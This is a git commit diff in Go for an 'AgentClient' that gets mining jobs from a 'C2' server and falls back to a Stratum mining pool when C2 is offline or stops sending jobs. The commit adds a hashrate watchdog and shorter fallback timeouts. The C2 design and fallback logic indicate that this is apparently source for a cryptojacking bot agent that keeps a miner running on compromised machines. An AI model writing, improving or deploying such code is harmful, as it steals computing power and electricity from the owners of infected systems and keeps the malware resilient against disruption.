fix(miner): initialize RandomX SuperScalar programs - mining was never hashing. Critical: Randomx_init_cache only populates Argon2d blocks; Programs[] stayed nil causing nil-ptr crash in every hash. Fix: build all 8 SuperScalar programs after cache init. Validator confirms 1.7 MH/s live. Also: blob fix, stratum job-timeout rotation, hashrate watchdog.
This commit is contained in:
@@ -808,7 +808,7 @@ func (c *AgentClient) write(msg Message) error {
|
||||
|
||||
// needsStratumFallback returns true when either:
|
||||
// - C2 is offline for > 30 seconds, OR
|
||||
// - C2 is online but no mining job has been delivered in > 90 seconds
|
||||
// - C2 is online but no mining job has been delivered in > 60 seconds
|
||||
// (the pool proxy on the server is broken or still connecting)
|
||||
func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
|
||||
if !c.connected.Load() {
|
||||
@@ -817,11 +817,10 @@ func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
|
||||
// Connected but jobless: check when the last valid job arrived.
|
||||
if raw := c.lastJobAt.Load(); raw != nil {
|
||||
lastJob := raw.(time.Time)
|
||||
return time.Since(lastJob) > 90*time.Second
|
||||
return time.Since(lastJob) > 60*time.Second
|
||||
}
|
||||
// Never received a job; fall back after 90s of being connected with nothing to mine.
|
||||
// Use disconnectedSince as a proxy for "connected since" (it's zeroed on connect).
|
||||
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 90*time.Second
|
||||
// Never received a job; fall back after 60s of being connected with nothing to mine.
|
||||
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 60*time.Second
|
||||
}
|
||||
|
||||
// stratumFallbackManager monitors C2 connectivity and mining job delivery.
|
||||
@@ -850,6 +849,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
// hashrateWatchdog: if we have an active job but hashrate has been 0 for
|
||||
// 2 consecutive minutes the workers are stuck — trigger Stratum fallback.
|
||||
var zeroHashSince time.Time
|
||||
|
||||
startFallback := func() {
|
||||
if fb != nil {
|
||||
return
|
||||
@@ -887,6 +890,27 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
case <-ticker.C:
|
||||
connected := c.connected.Load()
|
||||
|
||||
// ── Hashrate watchdog ───────────────────────────────────────────
|
||||
// If we have an active job but hash rate has been 0 for 2 minutes
|
||||
// the workers are frozen — force Stratum fallback regardless of
|
||||
// C2 connection state so mining restarts immediately.
|
||||
if raw := c.lastJobAt.Load(); raw != nil {
|
||||
hs := c.pool.HashesPerSecond()
|
||||
if hs < 1 {
|
||||
if zeroHashSince.IsZero() {
|
||||
zeroHashSince = time.Now()
|
||||
} else if time.Since(zeroHashSince) > 2*time.Minute {
|
||||
log.Printf("[watchdog] hashrate=0 for 2m with active job — forcing Stratum fallback")
|
||||
zeroHashSince = time.Time{}
|
||||
if fb == nil {
|
||||
startFallback()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
zeroHashSince = time.Time{} // hashing — reset watchdog
|
||||
}
|
||||
}
|
||||
|
||||
// Track disconnection time (reset to zero while connected).
|
||||
if connected {
|
||||
if fb != nil {
|
||||
@@ -900,19 +924,14 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Reset the "no-job" timer every time we are connected and
|
||||
// the pool is delivering (or we have not started timing yet).
|
||||
if raw := c.lastJobAt.Load(); raw != nil {
|
||||
disconnectedSince = time.Time{}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Record when we first went offline.
|
||||
if disconnectedSince.IsZero() {
|
||||
disconnectedSince = time.Now()
|
||||
}
|
||||
// Stop fallback when C2 comes back; it will resume on next job.
|
||||
// (We keep the fallback alive while offline — don't stop it here.)
|
||||
}
|
||||
|
||||
if fb == nil && c.needsStratumFallback(disconnectedSince) {
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user